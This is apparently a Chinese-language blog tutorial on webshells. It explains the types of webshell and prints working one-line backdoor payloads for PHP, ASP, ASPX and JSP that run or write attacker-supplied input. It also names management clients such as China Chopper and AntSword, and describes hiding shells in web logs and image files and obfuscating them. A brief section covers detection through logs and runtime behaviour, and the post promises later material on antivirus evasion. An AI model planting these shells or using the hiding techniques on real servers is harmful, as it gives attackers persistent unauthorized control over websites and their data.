Webshell是通过服务器开放的端口获取服务器的某些权限。
webshell又称脚本木马,一般分为大马、小马、一句话木马。
大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。
小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。
一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。
利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的”后门”,之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。
php
@eval($_POST[value]); ?>
assert($_POST[value]);?>
- @preg_replace("/[email]/e",$_POST['h'],"error");
- ?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
jsp
- <%
- if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
- %>
Cknife 中国菜刀
antSword 中国蚁剑
冰蝎 动态二进制加密网站管理客户端
weevely3 Weaponized web shell
Altman the cross platform webshell tool in .NET
Webshell Sniper Manage your website via terminal
quasibot complex webshell manager, quasi-http botnet
隐藏到日志
例如,修改发送数据包的头部,添加webshell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。
隐藏到合法文件
例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。
混淆
删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。
web日志
在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。
例如,网站目录下某php文件访问量过少,且来源ip固定。
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。
例如,webshell如果执行系统命令的话,会有进程。
后续会更新webshell的免杀内容!